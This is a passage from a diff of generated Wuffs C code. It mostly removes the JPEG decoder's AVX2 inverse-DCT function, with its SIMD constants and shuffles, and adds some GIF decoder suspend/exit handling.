& 1023u)]; -- a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; -- a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ if (status.repr) { -+ goto suspend; -+ } -+ -+ ok: -+ self->private_impl.p_decode_extension = 0; -+ goto exit; - } -- return wuffs_base__make_empty_struct(); -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_extension = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; - } - --// ‼ WUFFS MULTI-FILE SECTION +x86_avx2 --// -------- func jpeg.decoder.decode_idct_x86_avx2 -+// -------- func gif.decoder.skip_blocks - --#if defined(WUFFS_BASE__CPU_ARCH__X86_64) --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_jpeg__decoder__decode_idct_x86_avx2( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_dst_buffer, -- uint64_t a_dst_stride, -- uint32_t a_q) { -- __m256i v_k_0000 = {0}; -- __m256i v_k_8080 = {0}; -- __m256i v_k_0000_0002 = {0}; -- __m256i v_k_0001_FFFF = {0}; -- __m256i v_k_0400_0000 = {0}; -- __m256i v_k_29CF_1151_D630_1151 = {0}; -- __m256i v_k_E333_133E_ADFD_1051 = {0}; -- __m256i v_k_E6DC_25A1_1925_25A1 = {0}; -- __m256i v_k_ECC1_E333_EFB0_ADFD = {0}; -- __m128i v_az_coeffs = {0}; -- __m256i v_az_ah00 = {0}; -- __m256i v_az_ad00 = {0}; -- __m256i v_az_eh00 = {0}; -- __m256i v_az_adeh = {0}; -- __m256i v_rows01 = {0}; -- __m256i v_rows23 = {0}; -- __m256i v_rows45 = {0}; -- __m256i v_rows67 = {0}; -- __m256i v_quants01 = {0}; -- __m256i v_quants23 = {0}; -- __m256i v_quants45 = {0}; -- __m256i v_quants67 = {0}; -- __m256i v_rows04 = {0}; -- __m256i v_rows31 = {0}; -- __m256i v_rows26 = {0}; -- __m256i v_rows75 = {0}; -- __m256i v_fp_rows62 = {0}; -- __m256i v_fp_bq2662ad = {0}; -- __m256i v_fp_bq2662eh = {0}; -- __m256i v_fp_cb26ad = {0}; -- __m256i v_fp_cb26eh = {0}; -- __m256i v_fp_rows40pos = {0}; -- __m256i v_fp_rows04neg = {0}; -- __m256i v_fp_rows0pm4 = {0}; -- __m256i v_fp_ccpmad = {0}; -- __m256i v_fp_ccpmeh = {0}; -- __m256i v_fp_cd01ad = {0}; -- __m256i v_fp_cd01eh = {0}; -- __m256i v_fp_cd32ad = {0}; -- __m256i v_fp_cd32eh = {0}; -- __m256i v_fp_sums7351 = {0}; -- __m256i v_fp_sums5173 = {0}; -- __m256i v_fp_ci73515173ad = {0}; -- __m256i v_fp_ci73515173eh = {0}; -- __m256i v_fp_cl7351ad = {0}; -- __m256i v_fp_cl7351eh = {0}; -- __m256i v_fp_rows13 = {0}; -- __m256i v_fp_bq7153ad = {0}; -- __m256i v_fp_bq7153eh = {0}; -- __m256i v_fp_ck75ad = {0}; -- __m256i v_fp_ck75eh = {0}; -- __m256i v_fp_cl5173ad = {0}; -- __m256i v_fp_cl5173eh = {0}; -- __m256i v_fp_ck13ad = {0}; -- __m256i v_fp_ck13eh = {0}; -- __m256i v_intermediate01ad = {0}; -- __m256i v_intermediate01eh = {0}; -- __m256i v_intermediate01 = {0}; -- __m256i v_intermediate32ad = {0}; -- __m256i v_intermediate32eh = {0}; -- __m256i v_intermediate32 = {0}; -- __m256i v_intermediate45ad = {0}; -- __m256i v_intermediate45eh = {0}; -- __m256i v_intermediate45 = {0}; -- __m256i v_intermediate76ad = {0}; -- __m256i v_intermediate76eh = {0}; -- __m256i v_intermediate76 = {0}; -- __m256i v_ita0a1e0e1 = {0}; -- __m256i v_ita2a3e2e3 = {0}; -- __m256i v_ita4a5e4e5 = {0}; -- __m256i v_ita6a7e6e7 = {0}; -- __m256i v_ita0c0e0g0 = {0}; -- __m256i v_ita1c1e1g1 = {0}; -- __m256i v_ita4c4e4g4 = {0}; -- __m256i v_ita5c5e5g5 = {0}; -- __m256i v_ita0b0e0f0 = {0}; -- __m256i v_ita4b4e4f4 = {0}; -- __m256i v_itc0d0g0h0 = {0}; -- __m256i v_itc4d4g4h4 = {0}; -- __m256i v_intermediateae = {0}; -- __m256i v_intermediatebf = {0}; -- __m256i v_intermediatecg = {0}; -- __m256i v_intermediatedh = {0}; -- __m256i v_intermediatedb = {0}; -- __m256i v_intermediatehf = {0}; -- __m256i v_sp_cols62 = {0}; -- __m256i v_sp_bq2662ad = {0}; -- __m256i v_sp_bq2662eh = {0}; -- __m256i v_sp_rb26ad = {0}; -- __m256i v_sp_rb26eh = {0}; -- __m256i v_sp_cols40pos = {0}; -- __m256i v_sp_cols04neg = {0}; -- __m256i v_sp_cols0pm4 = {0}; -- __m256i v_sp_rcpmad = {0}; -- __m256i v_sp_rcpmeh = {0}; -- __m256i v_sp_rd01ad = {0}; -- __m256i v_sp_rd01eh = {0}; -- __m256i v_sp_rd32ad = {0}; -- __m256i v_sp_rd32eh = {0}; -- __m256i v_sp_sums7351 = {0}; -- __m256i v_sp_sums5173 = {0}; -- __m256i v_sp_ri73515173ad = {0}; -- __m256i v_sp_ri73515173eh = {0}; -- __m256i v_sp_rl7351ad = {0}; -- __m256i v_sp_rl7351eh = {0}; -- __m256i v_sp_cols13 = {0}; -- __m256i v_sp_bq7153ad = {0}; -- __m256i v_sp_bq7153eh = {0}; -- __m256i v_sp_rk75ad = {0}; -- __m256i v_sp_rk75eh = {0}; -- __m256i v_sp_rl5173ad = {0}; -- __m256i v_sp_rl5173eh = {0}; -- __m256i v_sp_rk13ad = {0}; -- __m256i v_sp_rk13eh = {0}; -- __m256i v_final01ad = {0}; -- __m256i v_final01eh = {0}; -- __m256i v_final01 = {0}; -- __m256i v_final32ad = {0}; -- __m256i v_final32eh = {0}; -- __m256i v_final32 = {0}; -- __m256i v_final45ad = {0}; -- __m256i v_final45eh = {0}; -- __m256i v_final45 = {0}; -- __m256i v_final76ad = {0}; -- __m256i v_final76eh = {0}; -- __m256i v_final76 = {0}; -- __m256i v_fta0a1e0e1 = {0}; -- __m256i v_fta2a3e2e3 = {0}; -- __m256i v_fta4a5e4e5 = {0}; -- __m256i v_fta6a7e6e7 = {0}; -- __m256i v_fta0c0e0g0 = {0}; -- __m256i v_fta1c1e1g1 = {0}; -- __m256i v_fta4c4e4g4 = {0}; -- __m256i v_fta5c5e5g5 = {0}; -- __m256i v_fta0b0e0f0 = {0}; -- __m256i v_ftc0d0g0h0 = {0}; -- __m256i v_fta4b4e4f4 = {0}; -- __m256i v_ftc4d4g4h4 = {0}; -- __m256i v_finalae = {0}; -- __m256i v_finalbf = {0}; -- __m256i v_finalcg = {0}; -- __m256i v_finaldh = {0}; -- __m256i v_final0145 = {0}; -- __m256i v_final2367 = {0}; -- uint64_t v_final0 = 0; -- uint64_t v_final1 = 0; -- uint64_t v_final2 = 0; -- uint64_t v_final3 = 0; -- uint64_t v_final4 = 0; -- uint64_t v_final5 = 0; -- uint64_t v_final6 = 0; -- uint64_t v_final7 = 0; -- wuffs_base__slice_u8 v_remaining = {0}; -- -- if (8u > a_dst_stride) { -- return wuffs_base__make_empty_struct(); -- } -- v_k_0000 = _mm256_set_epi16((int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u)); -- v_k_8080 = _mm256_set_epi16((int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u)); -- v_k_0000_0002 = _mm256_set_epi16((int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u)); -- v_k_0001_FFFF = _mm256_set_epi16((int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u)); -- v_k_0400_0000 = _mm256_set_epi16((int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u)); -- v_k_29CF_1151_D630_1151 = _mm256_set_epi16((int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u)); -- v_k_E333_133E_ADFD_1051 = _mm256_set_epi16((int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u)); -- v_k_E6DC_25A1_1925_25A1 = _mm256_set_epi16((int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u)); -- v_k_ECC1_E333_EFB0_ADFD = _mm256_set_epi16((int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u)); -- do { -- if (0u == (wuffs_base__peek_u64le__no_bounds_check((const uint8_t*)(const void*)(self->private_data.f_mcu_blocks[0u] + 8u)) | wuffs_base__peek_u64le__no_bounds_check((const uint8_t*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u)))) { -- v_az_coeffs = _mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 8u)), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 24u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 32u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 40u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 48u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 56u))); -- if (0u == ((uint64_t)(_mm_cvtsi128_si64(_mm_packs_epi16(v_az_coeffs, v_az_coeffs))))) { -- v_rows01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 0u)); -- v_quants01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 0u)); -- v_rows01 = _mm256_mullo_epi16(v_rows01, v_quants01); -- v_az_ah00 = _mm256_slli_epi16(v_rows01, (int32_t)(2u)); -- v_az_ad00 = _mm256_unpacklo_epi16(v_az_ah00, v_az_ah00); -- v_az_eh00 = _mm256_unpackhi_epi16(v_az_ah00, v_az_ah00); -- v_az_adeh = _mm256_inserti128_si256(v_az_ad00, _mm256_castsi256_si128(v_az_eh00), (int32_t)(1u)); -- v_intermediateae = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(0u)); -- v_intermediatebf = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(85u)); -- v_intermediatecg = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(170u)); -- v_intermediatedh = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(255u)); -- break; -- } -- } -- v_rows01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 0u)); -- v_rows23 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u)); -- v_rows45 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 32u)); -- v_rows67 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 48u)); -- v_quants01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 0u)); -- v_quants23 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 16u)); -- v_quants45 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 32u)); -- v_quants67 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 48u)); -- v_rows01 = _mm256_mullo_epi16(v_rows01, v_quants01); -- v_rows23 = _mm256_mullo_epi16(v_rows23, v_quants23); -- v_rows45 = _mm256_mullo_epi16(v_rows45, v_quants45); -- v_rows67 = _mm256_mullo_epi16(v_rows67, v_quants67); -- v_rows04 = _mm256_permute2x128_si256(v_rows01, v_rows45, (int32_t)(32u)); -- v_rows31 = _mm256_permute2x128_si256(v_rows23, v_rows01, (int32_t)(49u)); -- v_rows26 = _mm256_permute2x128_si256(v_rows23, v_rows67, (int32_t)(32u)); -- v_rows75 = _mm256_permute2x128_si256(v_rows67, v_rows45, (int32_t)(49u)); -- v_fp_rows62 = _mm256_permute2x128_si256(v_rows26, v_rows26, (int32_t)(1u)); -- v_fp_bq2662ad = _mm256_unpacklo_epi16(v_rows26, v_fp_rows62); -- v_fp_bq2662eh = _mm256_unpackhi_epi16(v_rows26, v_fp_rows62); -- v_fp_cb26ad = _mm256_madd_epi16(v_fp_bq2662ad, v_k_29CF_1151_D630_1151); -- v_fp_cb26eh = _mm256_madd_epi16(v_fp_bq2662eh, v_k_29CF_1151_D630_1151); -- v_fp_rows40pos = _mm256_permute2x128_si256(v_rows04, v_rows04, (int32_t)(1u)); -- v_fp_rows04neg = _mm256_sign_epi16(v_rows04, v_k_0001_FFFF); -- v_fp_rows0pm4 = _mm256_add_epi16(v_fp_rows40pos, v_fp_rows04neg); -- v_fp_ccpmad = _mm256_srai_epi32(_mm256_unpacklo_epi16(v_k_0000, v_fp_rows0pm4), (int32_t)(3u)); -- v_fp_ccpmeh = _mm256_srai_epi32(_mm256_unpackhi_epi16(v_k_0000, v_fp_rows0pm4), (int32_t)(3u)); -- v_fp_cd01ad = _mm256_add_epi32(v_fp_ccpmad, v_fp_cb26ad); -- v_fp_cd01eh = _mm256_add_epi32(v_fp_ccpmeh, v_fp_cb26eh); -- v_fp_cd32ad = _mm256_sub_epi32(v_fp_ccpmad, v_fp_cb26ad); -- v_fp_cd32eh = _mm256_sub_epi32(v_fp_ccpmeh, v_fp_cb26eh); -- v_fp_sums7351 = _mm256_add_epi16(v_rows75, v_rows31); -- v_fp_sums5173 = _mm256_permute2x128_si256(v_fp_sums7351, v_fp_sums7351, (int32_t)(1u)); -- v_fp_ci73515173ad = _mm256_unpacklo_epi16(v_fp_sums7351, v_fp_sums5173); -- v_fp_ci73515173eh = _mm256_unpackhi_epi16(v_fp_sums7351, v_fp_sums5173); -- v_fp_cl7351ad = _mm256_madd_epi16(v_fp_ci73515173ad, v_k_E6DC_25A1_1925_25A1); -- v_fp_cl7351eh = _mm256_madd_epi16(v_fp_ci73515173eh, v_k_E6DC_25A1_1925_25A1); -- v_fp_rows13 = _mm256_permute2x128_si256(v_rows31, v_rows31, (int32_t)(1u)); -- v_fp_bq7153ad = _mm256_unpacklo_epi16(v_rows75, v_fp_rows13); -- v_fp_bq7153eh = _mm256_unpackhi_epi16(v_rows75, v_fp_rows13); -- v_fp_ck75ad = _mm256_add_epi32(_mm256_madd_epi16(v_fp_bq7153ad, v_k_ECC1_E333_EFB0_ADFD), v_fp_cl7351ad); -- v_fp_ck75eh = _mm256_add_epi32(_mm256_madd_epi16(v_fp_bq7153eh, v_k_ECC1_E333_EFB0_ADFD), v_fp_cl7351eh); -- v_fp_cl5173ad = _mm256_permute2x128_si256(v_fp_cl7351ad, v_fp_cl7351ad, (int32_t)(1u)); -- v_fp_cl5173eh = _mm256_permute2x128_si256(v_fp_cl7351eh, v_fp_cl7351eh, (int32_t)(1u)); -- v_fp_ck13ad = _mm256_add_epi32(v_fp_cl5173ad, _mm256_madd_epi16(v_fp_bq7153ad, v_k_E333_133E_ADFD_1051)); -- v_fp_ck13eh = _mm256_add_epi32(v_fp_cl5173eh, _mm256_madd_epi16(v_fp_bq7153eh, v_k_E333_133E_ADFD_1051)); -- v_intermediate01ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd01ad, v_fp_ck13ad), v_k_0400_0000), (int32_t)(11u)); -- v_intermediate01eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd01eh, v_fp_ck13eh), v_k_0400_0000), (int32_t)(11u)); -- v_intermediate01 = _mm256_packs_epi32(v_intermediate01ad, v_intermediate01eh); -- v_intermediate32ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd32ad, v_fp_ck75ad), v_k_0400_0000), (int32_t)(11u)); -- v_intermediate32eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd32eh, v_fp_ck75eh), v_k_0400_0000), (int32_t)(11u)); -- v_intermediate32 = _mm256_packs_epi32(v_intermediate32ad, v_intermediate32eh); -- v_intermediate45ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd32ad, v_fp_ck75ad), v_k_0400_0000), (int32_t)(11u)); -- v_intermediate45eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd32eh, v_fp_ck75eh), v_k_0400_0000), (int32_t)(11u)); -- v_intermediate45 = _mm256_packs_epi32(v_intermediate45ad, v_intermediate45eh); -- v_intermediate76ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd01ad, v_fp_ck13ad), v_k_0400_0000), (int32_t)(11u)); -- v_intermediate76eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd01eh, v_fp_ck13eh), v_k_0400_0000), (int32_t)(11u)); -- v_intermediate76 = _mm256_packs_epi32(v_intermediate76ad, v_intermediate76eh); -- v_ita0a1e0e1 = _mm256_permute4x64_epi64(v_intermediate01, (int32_t)(216u)); -- v_ita2a3e2e3 = _mm256_permute4x64_epi64(v_intermediate32, (int32_t)(114u)); -- v_ita4a5e4e5 = _mm256_permute4x64_epi64(v_intermediate45, (int32_t)(216u)); -- v_ita6a7e6e7 = _mm256_permute4x64_epi64(v_intermediate76, (int32_t)(114u)); -- v_ita0c0e0g0 = _mm256_unpacklo_epi16(v_ita0a1e0e1, v_ita2a3e2e3); -- v_ita1c1e1g1 = _mm256_unpackhi_epi16(v_ita0a1e0e1, v_ita2a3e2e3); -- v_ita4c4e4g4 = _mm256_unpacklo_epi16(v_ita4a5e4e5, v_ita6a7e6e7); -- v_ita5c5e5g5 = _mm256_unpackhi_epi16(v_ita4a5e4e5, v_ita6a7e6e7); -- v_ita0b0e0f0 = _mm256_unpacklo_epi16(v_ita0c0e0g0, v_ita1c1e1g1); -- v_itc0d0g0h0 = _mm256_unpackhi_epi16(v_ita0c0e0g0, v_ita1c1e1g1); -- v_ita4b4e4f4 = _mm256_unpacklo_epi16(v_ita4c4e4g4, v_ita5c5e5g5); -- v_itc4d4g4h4 = _mm256_unpackhi_epi16(v_ita4c4e4g4, v_ita5c5e5g5); -- v_intermediateae = _mm256_unpacklo_epi64(v_ita0b0e0f0, v_ita4b4e4f4); -- v_intermediatebf = _mm256_unpackhi_epi64(v_ita0b0e0f0, v_ita4b4e4f4); -- v_intermediatecg = _mm256_unpacklo_epi64(v_itc0d0g0h0, v_itc4d4g4h4); -- v_intermediatedh = _mm256_unpackhi_epi64(v_itc0d0g0h0, v_itc4d4g4h4); -- } while (0); -- v_intermediatedb = _mm256_permute2x128_si256(v_intermediatedh, v_intermediatebf, (int32_t)(32u)); -- v_intermediatehf = _mm256_permute2x128_si256(v_intermediatedh, v_intermediatebf, (int32_t)(49u)); -- v_sp_cols62 = _mm256_permute2x128_si256(v_intermediatecg, v_intermediatecg, (int32_t)(1u)); -- v_sp_bq2662ad = _mm256_unpacklo_epi16(v_intermediatecg, v_sp_cols62); -- v_sp_bq2662eh = _mm256_unpackhi_epi16(v_intermediatecg, v_sp_cols62); -- v_sp_rb26ad = _mm256_madd_epi16(v_sp_bq2662ad, v_k_29CF_1151_D630_1151); -- v_sp_rb26eh = _mm256_madd_epi16(v_sp_bq2662eh, v_k_29CF_1151_D630_1151); -- v_sp_cols40pos = _mm256_permute2x128_si256(v_intermediateae, v_intermediateae, (int32_t)(1u)); -- v_sp_cols04neg = _mm256_sign_epi16(v_intermediateae, v_k_0001_FFFF); -- v_sp_cols0pm4 = _mm256_add_epi16(v_sp_cols40pos, v_sp_cols04neg); -- v_sp_rcpmad = _mm256_srai_epi32(_mm256_unpacklo_epi16(v_k_0000, v_sp_cols0pm4), (int32_t)(3u)); -- v_sp_rcpmeh = _mm256_srai_epi32(_mm256_unpackhi_epi16(v_k_0000, v_sp_cols0pm4), (int32_t)(3u)); -- v_sp_rd01ad = _mm256_add_epi32(v_sp_rcpmad, v_sp_rb26ad); -- v_sp_rd01eh = _mm256_add_epi32(v_sp_rcpmeh, v_sp_rb26eh); -- v_sp_rd32ad = _mm256_sub_epi32(v_sp_rcpmad, v_sp_rb26ad); -- v_sp_rd32eh = _mm256_sub_epi32(v_sp_rcpmeh, v_sp_rb26eh); -- v_sp_sums7351 = _mm256_add_epi16(v_intermediatehf, v_intermediatedb); -- v_sp_sums5173 = _mm256_permute2x128_si256(v_sp_sums7351, v_sp_sums7351, (int32_t)(1u)); -- v_sp_ri73515173ad = _mm256_unpacklo_epi16(v_sp_sums7351, v_sp_sums5173); -- v_sp_ri73515173eh = _mm256_unpackhi_epi16(v_sp_sums7351, v_sp_sums5173); -- v_sp_rl7351ad = _mm256_madd_epi16(v_sp_ri73515173ad, v_k_E6DC_25A1_1925_25A1); -- v_sp_rl7351eh = _mm256_madd_epi16(v_sp_ri73515173eh, v_k_E6DC_25A1_1925_25A1); -- v_sp_cols13 = _mm256_permute2x128_si256(v_intermediatedb, v_intermediatedb, (int32_t)(1u)); -- v_sp_bq7153ad = _mm256_unpacklo_epi16(v_intermediatehf, v_sp_cols13); -- v_sp_bq7153eh = _mm256_unpackhi_epi16(v_intermediatehf, v_sp_cols13); -- v_sp_rk75ad = _mm256_add_epi32(_mm256_madd_epi16(v_sp_bq7153ad, v_k_ECC1_E333_EFB0_ADFD), v_sp_rl7351ad); -- v_sp_rk75eh = _mm256_add_epi32(_mm256_madd_epi16(v_sp_bq7153eh, v_k_ECC1_E333_EFB0_ADFD), v_sp_rl7351eh); -- v_sp_rl5173ad = _mm256_permute2x128_si256(v_sp_rl7351ad, v_sp_rl7351ad, (int32_t)(1u)); -- v_sp_rl5173eh = _mm256_permute2x128_si256(v_sp_rl7351eh, v_sp_rl7351eh, (int32_t)(1u)); -- v_sp_rk13ad = _mm256_add_epi32(v_sp_rl5173ad, _mm256_madd_epi16(v_sp_bq7153ad, v_k_E333_133E_ADFD_1051)); -- v_sp_rk13eh = _mm256_add_epi32(v_sp_rl5173eh, _mm256_madd_epi16(v_sp_bq7153eh, v_k_E333_133E_ADFD_1051)); -- v_final01ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd01ad, v_sp_rk13ad), v_k_0000_0002), (int32_t)(18u)); -- v_final01eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd01eh, v_sp_rk13eh), v_k_0000_0002), (int32_t)(18u)); -- v_final01 = _mm256_packs_epi32(v_final01ad, v_final01eh); -- v_final32ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd32ad, v_sp_rk75ad), v_k_0000_0002), (int32_t)(18u)); -- v_final32eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd32eh, v_sp_rk75eh), v_k_0000_0002), (int32_t)(18u)); -- v_final32 = _mm256_packs_epi32(v_final32ad, v_final32eh); -- v_final45ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd32ad, v_sp_rk75ad), v_k_0000_0002), (int32_t)(18u)); -- v_final45eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd32eh, v_sp_rk75eh), v_k_0000_0002), (int32_t)(18u)); -- v_final45 = _mm256_packs_epi32(v_final45ad, v_final45eh); -- v_final76ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd01ad, v_sp_rk13ad), v_k_0000_0002), (int32_t)(18u)); -- v_final76eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd01eh, v_sp_rk13eh), v_k_0000_0002), (int32_t)(18u)); -- v_final76 = _mm256_packs_epi32(v_final76ad, v_final76eh); -- v_fta0a1e0e1 = _mm256_permute4x64_epi64(v_final01, (int32_t)(216u)); -- v_fta2a3e2e3 = _mm256_permute4x64_epi64(v_final32, (int32_t)(114u)); -- v_fta4a5e4e5 = _mm256_permute4x64_epi64(v_final45, (int32_t)(216u)); -- v_fta6a7e6e7 = _mm256_permute4x64_epi64(v_final76, (int32_t)(114u)); -- v_fta0c0e0g0 = _mm256_unpacklo_epi16(v_fta0a1e0e1, v_fta2a3e2e3); -- v_fta1c1e1g1 = _mm256_unpackhi_epi16(v_fta0a1e0e1, v_fta2a3e2e3); -- v_fta4c4e4g4 = _mm256_unpacklo_epi16(v_fta4a5e4e5, v_fta6a7e6e7); -- v_fta5c5e5g5 = _mm256_unpackhi_epi16(v_fta4a5e4e5, v_fta6a7e6e7); -- v_fta0b0e0f0 = _mm256_unpacklo_epi16(v_fta0c0e0g0, v_fta1c1e1g1); -- v_ftc0d0g0h0 = _mm256_unpackhi_epi16(v_fta0c0e0g0, v_fta1c1e1g1); -- v_fta4b4e4f4 = _mm256_unpacklo_epi16(v_fta4c4e4g4, v_fta5c5e5g5); -- v_ftc4d4g4h4 = _mm256_unpackhi_epi16(v_fta4c4e4g4, v_fta5c5e5g5); -- v_finalae = _mm256_unpacklo_epi64(v_fta0b0e0f0, v_fta4b4e4f4); -- v_finalbf = _mm256_unpackhi_epi64(v_fta0b0e0f0, v_fta4b4e4f4); -- v_finalcg = _mm256_unpacklo_epi64(v_ftc0d0g0h0, v_ftc4d4g4h4); -- v_finaldh = _mm256_unpackhi_epi64(v_ftc0d0g0h0, v_ftc4d4g4h4); -- v_final0145 = _mm256_add_epi8(_mm256_packs_epi16(v_finalae, v_finalbf), v_k_8080); -- v_final2367 = _mm256_add_epi8(_mm256_packs_epi16(v_finalcg, v_finaldh), v_k_8080); -- v_final0 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(0u)))); -- v_final1 = 